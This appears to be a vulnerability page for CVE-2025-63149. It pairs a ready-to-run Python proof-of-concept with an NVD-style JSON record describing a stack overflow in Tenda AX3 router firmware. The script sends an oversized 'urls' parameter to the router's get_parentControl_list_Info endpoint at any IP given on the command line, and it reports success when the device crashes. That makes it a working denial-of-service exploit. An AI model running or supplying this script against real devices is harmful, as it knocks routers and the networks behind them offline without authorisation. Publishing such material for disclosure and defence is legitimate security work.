CVE-2025-63149

#!/usr/bin/env python3 """ CVE-2025-63149 PoC - Tenda AX3 Stack Overflow in get_parentControl_list_Info This PoC demonstrates the stack overflow vulnerability in the urls parameter of the get_parentControl_list_Info function in Tenda AX3 V16.03.12.10_CN """ import requests import sys import argparse def create_exploit_payload(payload_size=1000): """Generate overflow payload""" # Generate payload with 'A' characters to overflow the buffer # Adjust size based on target buffer return 'A' * payload_size def exploit_cve_2025_63149(target_ip, target_port=80, payload_size=1000, timeout=5): """ Exploit the stack overflow vulnerability in Tenda AX3 Args: target_ip: Target router IP address target_port: Target router web port (default: 80) payload_size: Size of overflow payload timeout: Request timeout in seconds """ url = f"http://{target_ip}:{target_port}/goform/get_parentControl_list_Info" # Create malicious urls parameter to trigger stack overflow payload = create_exploit_payload(payload_size) params = { 'urls': payload } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-63149...") print(f"[*] Payload size: {payload_size} bytes") try: response = requests.get(url, params=params, timeout=timeout) print(f"[!] Request completed - Check if device is still responsive") print(f"[*] Response status code: {response.status_code}") except requests.exceptions.Timeout: print(f"[+] Request timed out - Device may be crashed (DoS successful)") except requests.exceptions.ConnectionError: print(f"[+] Connection failed - Device may be crashed (DoS successful)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-63149 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-s', '--size', type=int, default=1000, help='Payload size (default: 1000)') args = parser.parse_args() exploit_cve_2025_63149(args.target, args.port, args.size)

{"cve": {"id": "CVE-2025-63149", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:48.863", "lastModified": "2025-11-17T19:08:37.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AX3 V16.03.12.10_CN was discovered to contain a stack overflow in the urls parameter of the get_parentControl_list_Info function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}, {"lang": "es", "value": "Se descubrió que Tenda AX3 V16.03.12.10_CN contenía un desbordamiento de pila en el parámetro 'urls' de la función 'get_parentControl_list_Info'. Esta vulnerabilidad permite a los atacantes causar una denegación de servicio (DoS) mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ax3_firmware:16.03.12.10:*:*:*:*:*:*:*", "matchCriteriaId": "08A2E630-D40C-4ECE-8B4D-BA2482267F3C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ax3:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A01F4C4-FFFF-48DD-90DB-4DD29FE57479"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-3/3/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}